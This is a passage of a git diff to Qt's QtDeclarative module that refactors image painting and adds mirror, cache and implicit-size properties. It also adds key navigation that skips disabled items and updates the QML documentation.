     if (width() != d->pix.width() || height() != d->pix.height()) {
         if (d->fillMode >= Tile) {
-            if (d->fillMode == Tile) {
-                p->drawTiledPixmap(QRectF(0,0,width(),height()), d->pix);
-            } else {
-                qreal widthScale = width() / qreal(d->pix.width());
-                qreal heightScale = height() / qreal(d->pix.height());
-
-                QTransform scale;
-                if (d->fillMode == TileVertically) {
-                    scale.scale(widthScale, 1.0);
-                    QTransform old = p->transform();
-                    p->setWorldTransform(scale * old);
-                    p->drawTiledPixmap(QRectF(0,0,d->pix.width(),height()), d->pix);
-                    p->setWorldTransform(old);
-                } else {
-                    scale.scale(1.0, heightScale);
-                    QTransform old = p->transform();
-                    p->setWorldTransform(scale * old);
-                    p->drawTiledPixmap(QRectF(0,0,width(),d->pix.height()), d->pix);
-                    p->setWorldTransform(old);
-                }
+            if (d->fillMode == TileVertically) {
+                transform.scale(widthScale, 1.0);
+                drawWidth = d->pix.width();
+            } else if (d->fillMode == TileHorizontally) {
+                transform.scale(1.0, heightScale);
+                drawHeight = d->pix.height();
             }
         } else {
-            qreal widthScale = width() / qreal(d->pix.width());
-            qreal heightScale = height() / qreal(d->pix.height());
-
-            QTransform scale;
-
             if (d->fillMode == PreserveAspectFit) {
                 if (widthScale <= heightScale) {
                     heightScale = widthScale;
-                    scale.translate(0, (height() - heightScale * d->pix.height()) / 2);
+                    transform.translate(0, (height() - heightScale * d->pix.height()) / 2);
                 } else if(heightScale < widthScale) {
                     widthScale = heightScale;
-                    scale.translate((width() - widthScale * d->pix.width()) / 2, 0);
+                    transform.translate((width() - widthScale * d->pix.width()) / 2, 0);
                 }
             } else if (d->fillMode == PreserveAspectCrop) {
                 if (widthScale < heightScale) {
                     widthScale = heightScale;
-                    scale.translate((width() - widthScale * d->pix.width()) / 2, 0);
+                    transform.translate((width() - widthScale * d->pix.width()) / 2, 0);
                 } else if(heightScale < widthScale) {
                     heightScale = widthScale;
-                    scale.translate(0, (height() - heightScale * d->pix.height()) / 2);
+                    transform.translate(0, (height() - heightScale * d->pix.height()) / 2);
                 }
             }
-            if (clip()) {
-                p->save();
-                p->setClipRect(QRectF(0, 0, d->mWidth, d->mHeight), Qt::IntersectClip);
-            }
-            scale.scale(widthScale, heightScale);
-            QTransform old = p->transform();
-            p->setWorldTransform(scale * old);
-            p->drawPixmap(0, 0, d->pix);
-            p->setWorldTransform(old);
-            if (clip()) {
-                p->restore();
-            }
+            transform.scale(widthScale, heightScale);
+            drawWidth = d->pix.width();
+            drawHeight = d->pix.height();
+            doClip = clip();
         }
-    } else {
-        p->drawPixmap(0, 0, d->pix);
     }
 
+    QTransform oldTransform;
+    bool oldAA = p->testRenderHint(QPainter::Antialiasing);
+    bool oldSmooth = p->testRenderHint(QPainter::SmoothPixmapTransform);
+    if (d->smooth)
+        p->setRenderHints(QPainter::Antialiasing | QPainter::SmoothPixmapTransform, d->smooth);
+    if (doClip) {
+        p->save();
+        p->setClipRect(QRectF(0, 0, d->mWidth, d->mHeight), Qt::IntersectClip);
+    }
+    if (d->mirror)
+        transform.translate(drawWidth, 0).scale(-1.0, 1.0);
+    if (!transform.isIdentity()) {
+        oldTransform = p->transform();
+        p->setWorldTransform(transform * oldTransform);
+    }
+
+    if (d->fillMode >= Tile)
+        p->drawTiledPixmap(QRectF(0, 0, drawWidth, drawHeight), d->pix);
+    else
+        p->drawPixmap(QRectF(0, 0, drawWidth, drawHeight), d->pix, QRectF(0, 0, drawWidth, drawHeight));
+
     if (d->smooth) {
         p->setRenderHint(QPainter::Antialiasing, oldAA);
         p->setRenderHint(QPainter::SmoothPixmapTransform, oldSmooth);
     }
+    if (doClip)
+        p->restore();
+    if (!transform.isIdentity())
+        p->setWorldTransform(oldTransform);
 }
 
 void QDeclarativeImage::pixmapChange()
diff --git a/src/declarative/graphicsitems/qdeclarativeimagebase.cpp b/src/declarative/graphicsitems/qdeclarativeimagebase.cpp
index 74e9337..471c87f 100644
--- a/src/declarative/graphicsitems/qdeclarativeimagebase.cpp
+++ b/src/declarative/graphicsitems/qdeclarativeimagebase.cpp
@@ -48,8 +48,13 @@
 
 QT_BEGIN_NAMESPACE
 
+QDeclarativeImageBase::QDeclarativeImageBase(QDeclarativeItem *parent)
+  : QDeclarativeImplicitSizeItem(*(new QDeclarativeImageBasePrivate), parent)
+{
+}
+
 QDeclarativeImageBase::QDeclarativeImageBase(QDeclarativeImageBasePrivate &dd, QDeclarativeItem *parent)
-  : QDeclarativeItem(dd, parent)
+  : QDeclarativeImplicitSizeItem(dd, parent)
 {
 }
 
@@ -128,6 +133,44 @@ QSize QDeclarativeImageBase::sourceSize() const
     return QSize(width != -1 ? width : implicitWidth(), height != -1 ? height : implicitHeight());
 }
 
+bool QDeclarativeImageBase::cache() const
+{
+    Q_D(const QDeclarativeImageBase);
+    return d->cache;
+}
+
+void QDeclarativeImageBase::setCache(bool cache)
+{
+    Q_D(QDeclarativeImageBase);
+    if (d->cache == cache)
+        return;
+
+    d->cache = cache;
+    emit cacheChanged();
+    if (isComponentComplete())
+        load();
+}
+
+void QDeclarativeImageBase::setMirror(bool mirror)
+{
+    Q_D(QDeclarativeImageBase);
+    if (mirror == d->mirror)
+        return;
+
+    d->mirror = mirror;
+
+    if (isComponentComplete())
+        update();
+
+    emit mirrorChanged();
+}
+
+bool QDeclarativeImageBase::mirror() const
+{
+    Q_D(const QDeclarativeImageBase);
+    return d->mirror;
+}
+
 void QDeclarativeImageBase::load()
 {
     Q_D(QDeclarativeImageBase);
@@ -143,7 +186,12 @@ void QDeclarativeImageBase::load()
         pixmapChange();
         update();
     } else {
-        d->pix.load(qmlEngine(this), d->url, d->explicitSourceSize ? sourceSize() : QSize(), d->async);
+        QDeclarativePixmap::Options options;
+        if (d->async)
+            options |= QDeclarativePixmap::Asynchronous;
+        if (d->cache)
+            options |= QDeclarativePixmap::Cache;
+        d->pix.load(qmlEngine(this), d->url, d->explicitSourceSize ? sourceSize() : QSize(), options);
 
         if (d->pix.isLoading()) {
             d->progress = 0.0;
diff --git a/src/declarative/graphicsitems/qdeclarativeimagebase_p.h b/src/declarative/graphicsitems/qdeclarativeimagebase_p.h
index 7135170..abee25d 100644
--- a/src/declarative/graphicsitems/qdeclarativeimagebase_p.h
+++ b/src/declarative/graphicsitems/qdeclarativeimagebase_p.h
@@ -42,14 +42,14 @@
 #ifndef QDECLARATIVEIMAGEBASE_H
 #define QDECLARATIVEIMAGEBASE_H
 
-#include "qdeclarativeitem.h"
+#include "qdeclarativeimplicitsizeitem_p.h"
 
 QT_BEGIN_HEADER
 
 QT_BEGIN_NAMESPACE
 
 class QDeclarativeImageBasePrivate;
-class Q_AUTOTEST_EXPORT QDeclarativeImageBase : public QDeclarativeItem
+class Q_AUTOTEST_EXPORT QDeclarativeImageBase : public QDeclarativeImplicitSizeItem
 {
     Q_OBJECT
     Q_ENUMS(Status)
@@ -58,9 +58,12 @@ class Q_AUTOTEST_EXPORT QDeclarativeImageBase : public QDeclarativeItem
     Q_PROPERTY(QUrl source READ source WRITE setSource NOTIFY sourceChanged)
     Q_PROPERTY(qreal progress READ progress NOTIFY progressChanged)
     Q_PROPERTY(bool asynchronous READ asynchronous WRITE setAsynchronous NOTIFY asynchronousChanged)
+    Q_PROPERTY(bool cache READ cache WRITE setCache NOTIFY cacheChanged REVISION 1)
     Q_PROPERTY(QSize sourceSize READ sourceSize WRITE setSourceSize NOTIFY sourceSizeChanged)
+    Q_PROPERTY(bool mirror READ mirror WRITE setMirror NOTIFY mirrorChanged REVISION 1)
 
 public:
+    QDeclarativeImageBase(QDeclarativeItem *parent=0);
     ~QDeclarativeImageBase();
     enum Status { Null, Ready, Loading, Error };
     Status status() const;
@@ -72,15 +75,23 @@ public:
     bool asynchronous() const;
     void setAsynchronous(bool);
 
+    bool cache() const;
+    void setCache(bool);
+
     virtual void setSourceSize(const QSize&);
     QSize sourceSize() const;
 
+    virtual void setMirror(bool mirror);
+    bool mirror() const;
+
 Q_SIGNALS:
     void sourceChanged(const QUrl &);
     void sourceSizeChanged();
     void statusChanged(QDeclarativeImageBase::Status);
     void progressChanged(qreal progress);
     void asynchronousChanged();
+    Q_REVISION(1) void cacheChanged();
+    Q_REVISION(1) void mirrorChanged();
 
 protected:
     virtual void load();
diff --git a/src/declarative/graphicsitems/qdeclarativeimagebase_p_p.h b/src/declarative/graphicsitems/qdeclarativeimagebase_p_p.h
index 5d892ad..ab16e66 100644
--- a/src/declarative/graphicsitems/qdeclarativeimagebase_p_p.h
+++ b/src/declarative/graphicsitems/qdeclarativeimagebase_p_p.h
@@ -53,7 +53,7 @@
 // We mean it.
 //
 
-#include "private/qdeclarativeitem_p.h"
+#include "private/qdeclarativeimplicitsizeitem_p_p.h"
 #include "private/qdeclarativepixmapcache_p.h"
 
 #include <QtCore/QPointer>
@@ -61,7 +61,7 @@
 QT_BEGIN_NAMESPACE
 
 class QNetworkReply;
-class QDeclarativeImageBasePrivate : public QDeclarativeItemPrivate
+class QDeclarativeImageBasePrivate : public QDeclarativeImplicitSizeItemPrivate
 {
     Q_DECLARE_PUBLIC(QDeclarativeImageBase)
 
@@ -70,7 +70,9 @@ public:
       : status(QDeclarativeImageBase::Null),
         progress(0.0),
         explicitSourceSize(false),
-        async(false)
+        async(false),
+        cache(true),
+        mirror(false)
     {
         QGraphicsItemPrivate::flags = QGraphicsItemPrivate::flags & ~QGraphicsItem::ItemHasNoContents;
     }
@@ -82,6 +84,8 @@ public:
     QSize sourcesize;
     bool explicitSourceSize : 1;
     bool async : 1;
+    bool cache : 1;
+    bool mirror: 1;
 };
 
 QT_END_NAMESPACE
diff --git a/tools/qtconfig/previewwidgetbase.cpp b/src/declarative/graphicsitems/qdeclarativeimplicitsizeitem.cpp
index c156c32..31ac28f 100644
--- a/tools/qtconfig/previewwidgetbase.cpp
+++ b/src/declarative/graphicsitems/qdeclarativeimplicitsizeitem.cpp
@@ -4,7 +4,7 @@
 ** All rights reserved.
 ** Contact: Nokia Corporation (qt-info@nokia.com)
 **
-** This file is part of the tools applications of the Qt Toolkit.
+** This file is part of the QtDeclarative module of the Qt Toolkit.
 **
 ** $QT_BEGIN_LICENSE:LGPL$
 ** No Commercial Usage
@@ -39,49 +39,53 @@
 **
 ****************************************************************************/
 
-#include "previewwidgetbase.h"
-
-#include <QVariant>
+#include "private/qdeclarativeimplicitsizeitem_p.h"
+#include "private/qdeclarativeimplicitsizeitem_p_p.h"
 
 QT_BEGIN_NAMESPACE
 
-/*
- *  Constructs a PreviewWidgetBase as a child of 'parent', with the
- *  name 'name' and widget flags set to 'f'.
- */
-PreviewWidgetBase::PreviewWidgetBase(QWidget* parent, const char* name, Qt::WindowFlags fl)
-    : QWidget(parent, name, fl)
+void QDeclarativeImplicitSizeItemPrivate::implicitWidthChanged()
 {
-    setupUi(this);
+    Q_Q(QDeclarativeImplicitSizeItem);
+    emit q->implicitWidthChanged();
+}
 
+void QDeclarativeImplicitSizeItemPrivate::implicitHeightChanged()
+{
+    Q_Q(QDeclarativeImplicitSizeItem);
+    emit q->implicitHeightChanged();
+}
 
-    // signals and slots connections
-    init();
+QDeclarativeImplicitSizeItem::QDeclarativeImplicitSizeItem(QDeclarativeItem *parent)
+    : QDeclarativeItem(*(new QDeclarativeImplicitSizeItemPrivate), parent)
+{
 }
 
-/*
- *  Destroys the object and frees any allocated resources
- */
-PreviewWidgetBase::~PreviewWidgetBase()
+QDeclarativeImplicitSizeItem::QDeclarativeImplicitSizeItem(QDeclarativeImplicitSizeItemPrivate &dd, QDeclarativeItem *parent)
+    : QDeclarativeItem(dd, parent)
+{
+}
+
+
+void QDeclarativeImplicitSizePaintedItemPrivate::implicitWidthChanged()
 {
-    destroy();
-    // no need to delete child widgets, Qt does it all for us
+    Q_Q(QDeclarativeImplicitSizePaintedItem);
+    emit q->implicitWidthChanged();
 }
 
-/*
- *  Sets the strings of the subwidgets using the current
- *  language.
- */
-void PreviewWidgetBase::languageChange()
+void QDeclarativeImplicitSizePaintedItemPrivate::implicitHeightChanged()
 {
-    retranslateUi(this);
+    Q_Q(QDeclarativeImplicitSizePaintedItem);
+    emit q->implicitHeightChanged();
 }
 
-void PreviewWidgetBase::init()
+QDeclarativeImplicitSizePaintedItem::QDeclarativeImplicitSizePaintedItem(QDeclarativeItem *parent)
+    : QDeclarativePaintedItem(*(new QDeclarativeImplicitSizePaintedItemPrivate), parent)
 {
 }
 
-void PreviewWidgetBase::destroy()
+QDeclarativeImplicitSizePaintedItem::QDeclarativeImplicitSizePaintedItem(QDeclarativeImplicitSizePaintedItemPrivate &dd, QDeclarativeItem *parent)
+    : QDeclarativePaintedItem(dd, parent)
 {
 }
 
diff --git a/src/declarative/graphicsitems/qdeclarativeimplicitsizeitem_p.h b/src/declarative/graphicsitems/qdeclarativeimplicitsizeitem_p.h
new file mode 100644
index 0000000..1863d95
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativeimplicitsizeitem_p.h
@@ -0,0 +1,100 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file.  Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights.  These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEIMPLICITSIZEITEM_H
+#define QDECLARATIVEIMPLICITSIZEITEM_H
+
+#include "qdeclarativepainteditem_p.h"
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+class QDeclarativeImplicitSizeItemPrivate;
+class Q_AUTOTEST_EXPORT QDeclarativeImplicitSizeItem : public QDeclarativeItem
+{
+    Q_OBJECT
+    Q_PROPERTY(qreal implicitWidth READ implicitWidth NOTIFY implicitWidthChanged REVISION 1)
+    Q_PROPERTY(qreal implicitHeight READ implicitHeight NOTIFY implicitHeightChanged REVISION 1)
+
+public:
+    QDeclarativeImplicitSizeItem(QDeclarativeItem *parent = 0);
+
+protected:
+    QDeclarativeImplicitSizeItem(QDeclarativeImplicitSizeItemPrivate &dd, QDeclarativeItem *parent);
+
+Q_SIGNALS:
+    Q_REVISION(1) void implicitWidthChanged();
+    Q_REVISION(1) void implicitHeightChanged();
+
+private:
+    Q_DISABLE_COPY(QDeclarativeImplicitSizeItem)
+    Q_DECLARE_PRIVATE_D(QGraphicsItem::d_ptr.data(), QDeclarativeImplicitSizeItem)
+};
+
+class QDeclarativeImplicitSizePaintedItemPrivate;
+class Q_AUTOTEST_EXPORT QDeclarativeImplicitSizePaintedItem : public QDeclarativePaintedItem
+{
+    Q_OBJECT
+    Q_PROPERTY(qreal implicitWidth READ implicitWidth NOTIFY implicitWidthChanged REVISION 1)
+    Q_PROPERTY(qreal implicitHeight READ implicitHeight NOTIFY implicitHeightChanged REVISION 1)
+
+public:
+    QDeclarativeImplicitSizePaintedItem(QDeclarativeItem *parent = 0);
+
+protected:
+    QDeclarativeImplicitSizePaintedItem(QDeclarativeImplicitSizePaintedItemPrivate &dd, QDeclarativeItem *parent);
+    virtual void drawContents(QPainter *, const QRect &) {};
+
+Q_SIGNALS:
+    Q_REVISION(1) void implicitWidthChanged();
+    Q_REVISION(1) void implicitHeightChanged();
+
+private:
+    Q_DISABLE_COPY(QDeclarativeImplicitSizePaintedItem)
+    Q_DECLARE_PRIVATE_D(QGraphicsItem::d_ptr.data(), QDeclarativeImplicitSizePaintedItem)
+};
+
+QT_END_NAMESPACE
+
+QT_END_HEADER
+
+#endif // QDECLARATIVEIMPLICITSIZEITEM_H
diff --git a/src/network/access/qnetworkaccessdatabackend_p.h b/src/declarative/graphicsitems/qdeclarativeimplicitsizeitem_p_p.h
index 18569ec..0bb7163 100644
--- a/src/network/access/qnetworkaccessdatabackend_p.h
+++ b/src/declarative/graphicsitems/qdeclarativeimplicitsizeitem_p_p.h
@@ -4,7 +4,7 @@
 ** All rights reserved.
 ** Contact: Nokia Corporation (qt-info@nokia.com)
 **
-** This file is part of the QtNetwork module of the Qt Toolkit.
+** This file is part of the QtDeclarative module of the Qt Toolkit.
 **
 ** $QT_BEGIN_LICENSE:LGPL$
 ** No Commercial Usage
@@ -39,46 +39,52 @@
 **
 ****************************************************************************/
 
-#ifndef QNETWORKACCESSDATABACKEND_P_H
-#define QNETWORKACCESSDATABACKEND_P_H
+#ifndef QDECLARATIVEIMPLICITSIZEITEM_P_H
+#define QDECLARATIVEIMPLICITSIZEITEM_P_H
 
 //
 //  W A R N I N G
 //  -------------
 //
-// This file is not part of the Qt API.  It exists for the convenience
-// of the Network Access API.  This header file may change from
-// version to version without notice, or even be removed.
+// This file is not part of the Qt API.  It exists purely as an
+// implementation detail.  This header file may change from version to
+// version without notice, or even be removed.
 //
 // We mean it.
 //
 
-#include "qnetworkaccessbackend_p.h"
+#include "private/qdeclarativeitem_p.h"
+#include "private/qdeclarativepainteditem_p_p.h"
 
 QT_BEGIN_NAMESPACE
 
-class QNetworkAccessDataBackend: public QNetworkAccessBackend
+class QDeclarativeImplicitSizeItemPrivate : public QDeclarativeItemPrivate
 {
-public:
-    QNetworkAccessDataBackend();
-    virtual ~QNetworkAccessDataBackend();
+    Q_DECLARE_PUBLIC(QDeclarativeImplicitSizeItem)
 
-    virtual void open();
-    virtual void closeDownstreamChannel();
-    virtual void closeUpstreamChannel();
-    virtual bool waitForDownstreamReadyRead(int msecs);
-    virtual bool waitForUpstreamBytesWritten(int msecs);
+public:
+    QDeclarativeImplicitSizeItemPrivate()
+    {
+    }
 
-    virtual bool processRequestSynchronously();
+    virtual void implicitWidthChanged();
+    virtual void implicitHeightChanged();
 };
 
-class QNetworkAccessDataBackendFactory: public QNetworkAccessBackendFactory
+
+class QDeclarativeImplicitSizePaintedItemPrivate : public QDeclarativePaintedItemPrivate
 {
+    Q_DECLARE_PUBLIC(QDeclarativeImplicitSizePaintedItem)
+
 public:
-    virtual QNetworkAccessBackend *create(QNetworkAccessManager::Operation op,
-                                          const QNetworkRequest &request) const;
+    QDeclarativeImplicitSizePaintedItemPrivate()
+    {
+    }
+
+    virtual void implicitWidthChanged();
+    virtual void implicitHeightChanged();
 };
 
 QT_END_NAMESPACE
 
-#endif
+#endif // QDECLARATIVEIMPLICITSIZEITEM_P_H
diff --git a/src/declarative/graphicsitems/qdeclarativeitem.cpp b/src/declarative/graphicsitems/qdeclarativeitem.cpp
index 2e3a5a2..ffef61b 100644
--- a/src/declarative/graphicsitems/qdeclarativeitem.cpp
+++ b/src/declarative/graphicsitems/qdeclarativeitem.cpp
@@ -444,6 +444,11 @@ void QDeclarativeItemKeyFilter::componentComplete()
     \c KeyNavigation.BeforeItem allows the event to be used for key navigation
     before the item, rather than after.
 
+    If item to which the focus is switching is not enabled or visible, an attempt will
+    be made to skip this item and focus on the next. This is possible if there are
+    a chain of items with the same KeyNavigation handler. If multiple items in a row are not enabled
+    or visible, they will also be skipped.
+
     \sa {Keys}{Keys attached property}
 */
 
@@ -452,10 +457,12 @@ void QDeclarativeItemKeyFilter::componentComplete()
     \qmlproperty Item KeyNavigation::right
     \qmlproperty Item KeyNavigation::up
     \qmlproperty Item KeyNavigation::down
+    \qmlproperty Item KeyNavigation::tab
+    \qmlproperty Item KeyNavigation::backtab
 
     These properties hold the item to assign focus to
-    when the left, right, up or down cursor keys are
-    pressed.
+    when the left, right, up or down cursor keys, or the
+    tab key are pressed.
 */
 
 /*!
@@ -611,37 +618,37 @@ void QDeclarativeKeyNavigationAttached::keyPressed(QKeyEvent *event, bool post)
     switch(event->key()) {
     case Qt::Key_Left:
         if (d->left) {
-            d->left->setFocus(true);
+            setFocusNavigation(d->left, "left");
             event->accept();
         }
         break;
     case Qt::Key_Right:
         if (d->right) {
-            d->right->setFocus(true);
+            setFocusNavigation(d->right, "right");
             event->accept();
         }
         break;
     case Qt::Key_Up:
         if (d->up) {
-            d->up->setFocus(true);
+            setFocusNavigation(d->up, "up");
             event->accept();
         }
         break;
     case Qt::Key_Down:
         if (d->down) {
-            d->down->setFocus(true);
+            setFocusNavigation(d->down, "down");
             event->accept();
         }
         break;
     case Qt::Key_Tab:
         if (d->tab) {
-            d->tab->setFocus(true);
+            setFocusNavigation(d->tab, "tab");
             event->accept();
         }
         break;
     case Qt::Key_Backtab:
         if (d->backtab) {
-            d->backtab->setFocus(true);
+            setFocusNavigation(d->backtab, "backtab");
             event->accept();
         }
         break;
@@ -700,6 +707,29 @@ void QDeclarativeKeyNavigationAttached::keyReleased(QKeyEvent *event, bool post)
     if (!event->isAccepted()) QDeclarativeItemKeyFilter::keyReleased(event, post);
 }
 
+void QDeclarativeKeyNavigationAttached::setFocusNavigation(QDeclarativeItem *currentItem, const char *dir)
+{
+    QDeclarativeItem *initialItem = currentItem;
+    bool isNextItem = false;
+    do {
+        isNextItem = false;
+        if (currentItem->isVisible() && currentItem->isEnabled()) {
+            currentItem->setFocus(true);
+        } else {
+            QObject *attached =
+                qmlAttachedPropertiesObject<QDeclarativeKeyNavigationAttached>(currentItem, false);
+            if (attached) {
+                QDeclarativeItem *tempItem = qvariant_cast<QDeclarativeItem*>(attached->property(dir));
+                if (tempItem) {
+                    currentItem = tempItem;
+                    isNextItem = true;
+                }
+            }
+        }
+    }
+    while (currentItem != initialItem && isNextItem);
+}
+
 /*!
     \qmlclass Keys QDeclarativeKeysAttached
     \ingroup qml-basic-interaction-elements
@@ -799,10 +829,18 @@ void QDeclarativeKeyNavigationAttached::keyReleased(QKeyEvent *event, bool post)
 
     This example forwards key events to two lists:
     \qml
-    ListView { id: list1 ... }
-    ListView { id: list2 ... }
-    Keys.forwardTo: [list1, list2]
-    focus: true
+    Item {
+        ListView {
+            id: list1
+            // ...
+        }
+        ListView {
+            id: list2
+            // ...
+        }
+        Keys.forwardTo: [list1, list2]
+        focus: true
+    }
     \endqml
 */
 
@@ -1881,11 +1919,26 @@ void QDeclarativeItem::setClip(bool c)
 /*!
     \qmlproperty bool Item::visible
 
-    Whether the item is visible. By default this is true.
+    This property holds whether the item is visible. By default this is true.
+
+    Setting this property directly affects the \c visible value of child
+    items. When set to \c false, the \c visible values of all child items also
+    become \c false. When set to \c true, the \c visible values of child items
+    are returned to \c true, unless they have explicitly been set to \c false.
 
-    \note visible is not linked to actual visibility; if an item
-    moves off screen, or the opacity changes to 0, this will
-    not affect the visible property.
+    (Because of this flow-on behavior, using the \c visible property may not
+    have the intended effect if a property binding should only respond to
+    explicit property changes. In such cases it may be better to use the
+    \l opacity property instead.)
+
+    Setting this property to \c false automatically causes \l focus to be set
+    to \c false, and this item will longer receive mouse and keyboard events.
+    (In contrast, setting the \l opacity to 0 does not affect the \l focus
+    property and the receiving of key events.)
+
+    \note This property's value is only affected by changes to this property or
+    the parent's \c visible property. It does not change, for example, if this
+    item moves off-screen, or if the \l opacity changes to 0.
 */
 
 
@@ -2116,13 +2169,18 @@ QDeclarativeAnchorLine QDeclarativeItemPrivate::baseline() const
   \o \image declarative-anchors_example.png
   \o Text anchored to Image, horizontally centered and vertically below, with a margin.
   \qml
-  Image { id: pic; ... }
-  Text {
-      id: label
-      anchors.horizontalCenter: pic.horizontalCenter
-      anchors.top: pic.bottom
-      anchors.topMargin: 5
-      ...
+  Item {
+      Image {
+          id: pic
+          // ...
+      }
+      Text {
+          id: label
+          anchors.horizontalCenter: pic.horizontalCenter
+          anchors.top: pic.bottom
+          anchors.topMargin: 5
+          // ...
+      }
   }
   \endqml
   \row
@@ -2132,13 +2190,18 @@ QDeclarativeAnchorLine QDeclarativeItemPrivate::baseline() const
   property of both defaults to 0.
 
   \qml
-    Image { id: pic; ... }
-    Text {
-        id: label
-        anchors.left: pic.right
-        anchors.leftMargin: 5
-        ...
-    }
+  Item {
+      Image {
+          id: pic
+          // ...
+      }
+      Text {
+          id: label
+          anchors.left: pic.right
+          anchors.leftMargin: 5
+          // ...
+      }
+  }
   \endqml
   \endtable
 
@@ -2259,13 +2322,15 @@ void QDeclarativeItem::setBaselineOffset(qreal offset)
 /*!
   \qmlproperty real Item::opacity
 
-  The opacity of the item.  Opacity is specified as a number between 0
-  (fully transparent) and 1 (fully opaque).  The default is 1.
+  This property holds the opacity of the item.  Opacity is specified as a
+  number between 0 (fully transparent) and 1 (fully opaque).  The default is 1.
 
-  Opacity is an \e inherited attribute.  That is, the opacity is
-  also applied individually to child items.  In almost all cases this
-  is what you want, but in some cases (like the following example)
-  it may produce undesired results.
+  When this property is set, the specified opacity is also applied
+  individually to child items.  In almost all cases this is what you want,
+  but in some cases it may produce undesired results. For example in the
+  second set of rectangles below, the red rectangle has specified an opacity
+  of 0.5, which affects the opacity of its blue child rectangle even though
+  the child has not specified an opacity.
 
   \table
   \row
@@ -2300,6 +2365,12 @@ void QDeclarativeItem::setBaselineOffset(qreal offset)
     }
   \endqml
   \endtable
+
+  If an item's opacity is set to 0, the item will no longer receive mouse
+  events, but will continue to receive key events and will retain the keyboard
+  \l focus if it has been set. (In contrast, setting the \l visible property
+  to \c false stops both mouse and keyboard events, and also removes focus
+  from the item.)
 */
 
 /*!
@@ -2452,11 +2523,15 @@ QDeclarativeListProperty<QObject> QDeclarativeItemPrivate::resources()
 
   \qml
   Item {
-    states: [
-      State { ... },
-      State { ... }
-      ...
-    ]
+      states: [
+          State {
+              // ...
+          },
+          State {
+              // ...
+          }
+          // ...
+      ]
   }
   \endqml
 
@@ -2474,11 +2549,15 @@ QDeclarativeListProperty<QDeclarativeState> QDeclarativeItemPrivate::states()
 
   \qml
   Item {
-    transitions: [
-      Transition { ... },
-      Transition { ... }
-      ...
-    ]
+      transitions: [
+          Transition {
+              // ...
+          },
+          Transition {
+              // ...
+          }
+          // ...
+      ]
   }
   \endqml
 
@@ -2503,11 +2582,15 @@ QDeclarativeListProperty<QDeclarativeTransition> QDeclarativeItemPrivate::transi
 
   \qml
   Item {
-    filter: [
-      Blur { ... },
-      Reflection { ... }
-      ...
-    ]
+      filter: [
+          Blur {
+              // ...
+          },
+          Reflection {
+              // ...
+          }
+          // ...
+      ]
   }
   \endqml
 */
@@ -2542,14 +2625,14 @@ QDeclarativeListProperty<QDeclarativeTransition> QDeclarativeItemPrivate::transi
   This property is often used in scripts to change between states. For
   example:
 
-  \qml
-    function toggle() {
-        if (button.state == 'On')
-            button.state = 'Off';
-        else
-            button.state = 'On';
-    }
-  \endqml
+  \js
+  function toggle() {
+      if (button.state == 'On')
+          button.state = 'Off';
+      else
+          button.state = 'On';
+  }
+  \endjs
 
   If the item is in its base state (i.e. no explicit state has been
   set), \c state will be a blank string. Likewise, you can return an
@@ -3026,13 +3109,24 @@ void QDeclarativeItemPrivate::resetWidth()
     q->setImplicitWidth(q->implicitWidth());
 }
 
+void QDeclarativeItemPrivate::implicitWidthChanged()
+{
+    Q_Q(QDeclarativeItem);
+    emit q->implicitWidthChanged();
+}
+
+qreal QDeclarativeItemPrivate::implicitWidth() const
+{
+    return mImplicitWidth;
+}
+
 /*!
     Returns the width of the item that is implied by other properties that determine the content.
 */
 qreal QDeclarativeItem::implicitWidth() const
 {
     Q_D(const QDeclarativeItem);
-    return d->implicitWidth;
+    return d->implicitWidth();
 }
 
 /*!
@@ -3042,9 +3136,13 @@ qreal QDeclarativeItem::implicitWidth() const
 void QDeclarativeItem::setImplicitWidth(qreal w)
 {
     Q_D(QDeclarativeItem);
-    d->implicitWidth = w;
-    if (d->mWidth == w || widthValid())
+    bool changed = w != d->mImplicitWidth;
+    d->mImplicitWidth = w;
+    if (d->mWidth == w || widthValid()) {
+        if (changed)
+            d->implicitWidthChanged();
         return;
+    }
 
     qreal oldWidth = d->mWidth;
 
@@ -3053,6 +3151,9 @@ void QDeclarativeItem::setImplicitWidth(qreal w)
 
     geometryChanged(QRectF(x(), y(), width(), height()),
                     QRectF(x(), y(), oldWidth, height()));
+
+    if (changed)
+        d->implicitWidthChanged();
 }
 
 /*!
@@ -3134,25 +3235,77 @@ void QDeclarativeItemPrivate::resetHeight()
     q->setImplicitHeight(q->implicitHeight());
 }
 
+void QDeclarativeItemPrivate::implicitHeightChanged()
+{
+    Q_Q(QDeclarativeItem);
+    emit q->implicitHeightChanged();
+}
+
+qreal QDeclarativeItemPrivate::implicitHeight() const
+{
+    return mImplicitHeight;
+}
+
 /*!
     Returns the height of the item that is implied by other properties that determine the content.
 */
 qreal QDeclarativeItem::implicitHeight() const
 {
     Q_D(const QDeclarativeItem);
-    return d->implicitHeight;
+    return d->implicitHeight();
 }
 
 /*!
+    \qmlproperty real Item::implicitWidth
+    \qmlproperty real Item::implicitHeight
+    \since Quick 1.1
+
+    Defines the natural width or height of the Item if no \l width or \l height is specified.
+
+    The default implicit size for most items is 0x0, however some elements have an inherent
+    implicit size which cannot be overridden, e.g. Image, Text.
+
+    Setting the implicit size is useful for defining components that have a preferred size
+    based on their content, for example:
+
+    \code
+    // Label.qml
+    import QtQuick 1.1
+
+    Item {
+        property alias icon: image.source
+        property alias label: text.text
